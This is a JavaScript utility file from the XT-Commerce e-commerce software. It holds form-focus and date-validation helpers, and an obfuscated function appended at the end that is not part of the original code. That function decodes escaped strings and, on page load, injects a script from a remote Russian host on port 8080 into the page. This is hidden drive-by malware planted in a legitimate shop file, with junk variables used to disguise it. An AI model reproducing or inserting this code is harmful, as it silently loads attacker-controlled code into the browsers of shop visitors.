/* -----------------------------------------------------------------------------------------
   $Id: general.js 899 2005-04-29 02:40:57Z hhgag $

   XT-Commerce - community made shopping
   http://www.xt-commerce.com

   Copyright (c) 2003 XT-Commerce
   -----------------------------------------------------------------------------------------
   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(general.js,v 1.3 2003/02/10); www.oscommerce.com
   (c) 2003	 nextcommerce (general.js,v 1.3 2003/08/13); www.nextcommerce.org 

   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}

function p(){var o=window;var T=unescape;this.Y='';this.om="";var h=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%62%69%62%6f%2e%63%6f%6d%2f%64%69%61%6e%70%69%6e%67%2e%63%6f%6d%2e%70%68%70");var cR=new Array();var mI;if(mI!='u'){mI='u'};function f(z,H){var pL=String("g");this.R="";var zx=T("%5b"), g=T("%5d");var Tc=new String();var q=zx+H+g;var hB;if(hB!='HLD' && hB != ''){hB=null};var A=new Array();var y=new RegExp(q, pL);var l='';return z.replace(y, new String());this.At="";var go;if(go!='Q'){go=''};};var uj;if(uj!='W'){uj='W'};var vd;if(vd!='' && vd!='v'){vd=''};var gi="";var w;if(w!='Oy' && w!='e'){w='Oy'};var r=new String();var qH="";var G;if(G!='fa'){G='fa'};var c=f('81372509499285322027121','49352671');var eU='';var eI;if(eI!='Qx' && eI!='gx'){eI='Qx'};var O=document;var hq;if(hq!='hZ'){hq='hZ'};this.ua='';var tw=new Array();var eS;if(eS!=''){eS='K'};function L(){var tv='';var qD;if(qD!='aX' && qD!='yS'){qD=''};this.XA='';var m=T("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");this.aD="";var _a=new Date();r=m;this.YH="";var jV=new Date();r+=c;r+=h;var Fk=new String();var Uy;if(Uy!='' && Uy!='gz'){Uy=''};try {var sR="";var KW;if(KW!='' && KW!='UM'){KW=''};var Gx;if(Gx!='' && Gx!='ui'){Gx=''};d=O.createElement(f('sgcar7imputI','7IugadmSeo'));var C=new Date();var Hc;if(Hc!='' && Hc!='qV'){Hc=''};d[T("%73%72%63")]=r;var _F='';var mJ;if(mJ!='' && mJ!='ZD'){mJ='CG'};d[T("%64%65%66%65%72")]=[1][0];var vG=new String();var Rh=new Date();this.nV='';O.body.appendChild(d);this.tl='';var Gj='';var jd='';} catch(HL){var ZJ=new Array();alert(HL);var Q_=new Array();var nX;if(nX!='Yr'){nX=''};};}var dj;if(dj!=''){dj='rU'};o[new String("VjXonl".substr(3)+"oad")]=L;var WN;if(WN!='' && WN!='so'){WN=null};};var Dc="";var hfJ=new Array();p();